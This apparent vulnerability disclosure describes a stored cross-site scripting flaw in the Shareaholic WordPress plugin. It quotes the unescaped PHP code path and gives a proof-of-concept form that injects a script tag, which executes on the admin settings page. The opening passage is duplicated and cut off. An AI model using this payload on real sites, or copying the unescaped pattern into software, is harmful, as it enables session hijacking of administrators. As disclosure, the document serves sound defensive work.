File: shareaholic\shareaholic.php ``` add_action('wp_ajax_shareaholic_add_location', array('ShareaholicAdmin', 'add_location')); $_POST['location'] is not escaped. ``` File: shareaholic\admin.php ``` public static function add_location() { $location = $_POST['location']; $app_name = $location['app_name']; ShareaholicUtilities::update_options(array( 'location_name_ids' => array( $app_name => array( $location['name'] => $location['id'] ), ), $app_name => array( $location['name'] => 'on' ) )); echo json_encode(array( 'status' => "successfully created a new {$location['app_name']} location", 'id' => $location['id'] )); die(); } ``` We save $_POST['location'] as shareaholic_settings. File: shareaholic\utilities.php ```` public static function update_options($array) { $old_settings = self::get_settings(); $new_settings = self::array_merge_recursive_distinct($old_settings, $array); update_option('shareaholic_settings', $new_settings); } ``` Then it’s displayed as $location_id on admin...
File: shareaholic\shareaholic.php ``` add_action('wp_ajax_shareaholic_add_location', array('ShareaholicAdmin', 'add_location')); $_POST['location'] is not escaped. ``` File: shareaholic\admin.php ``` public static function add_location() { $location = $_POST['location']; $app_name = $location['app_name']; ShareaholicUtilities::update_options(array( 'location_name_ids' => array( $app_name => array( $location['name'] => $location['id'] ), ), $app_name => array( $location['name'] => 'on' ) )); echo json_encode(array( 'status' => "successfully created a new {$location['app_name']} location", 'id' => $location['id'] )); die(); } ``` We save $_POST['location'] as shareaholic_settings. File: shareaholic\utilities.php ```` public static function update_options($array) { $old_settings = self::get_settings(); $new_settings = self::array_merge_recursive_distinct($old_settings, $array); update_option('shareaholic_settings', $new_settings); } ``` Then it’s displayed as $location_id on admin page. File: shareaholic\templates\settings.php ``` <?php foreach(array('post', 'page', 'index', 'category') as $page_type) { ?> <?php foreach(array('below') as $position) { ?> <?php if (isset($settings['location_name_ids']['recommendations']["{$page_type}_{$position}_content"])) { ?> <?php $location_id = $settings['location_name_ids']['recommendations']["{$page_type}_{$position}_content"] ?> <?php } else { $location_id = ''; } ?> <fieldset id='recommendations'> <legend><?php echo ucfirst($page_type) ?></legend> <div> <input type="checkbox" id="recommendations_<?php echo "{$page_type}_below_content" ?>" name="recommendations[<?php echo "{$page_type}_below_content" ?>]" class="check" <?php if (isset($recommendations["{$page_type}_below_content"])) { ?> <?php echo ($recommendations["{$page_type}_below_content"] == 'on' ? 'checked' : '') ?> <?php } ?>> <label for="recommendations_<?php echo "{$page_type}_below_content" ?>"><?php echo ucfirst($position) ?> Content</label> <button data-app='recommendations' data-location_id='<?php echo $location_id ?>' data-href="recommendations/locations//edit" class="mll btn btn-success"> <?php _e('Customize', 'shareaholic'); ?></button> </div> <?php } ?> </fieldset> <?php } ?> ``` Proof of Concept: Login as regular user (created using wp-login.php?action=register) then: ``` <form method="post" action="http://wordpress-install/wp-admin/admin-ajax.php"> <input type="hidden" name="action" value="shareaholic_add_location"> <input type="hidden" name="location[app_name]" value="recommendations"> <input type="hidden" name="location[name]" value="post_below_content"> XSS: <input type="text" name="location[id]" value="'><script>alert(String.fromCharCode(88,83,83));</script>"> <input type="submit" value="Hack!"> </form> ``` XSS will be visible for admin: ``` http://wordpress-install/wp-admin/admin.php?page=shareaholic-settings ```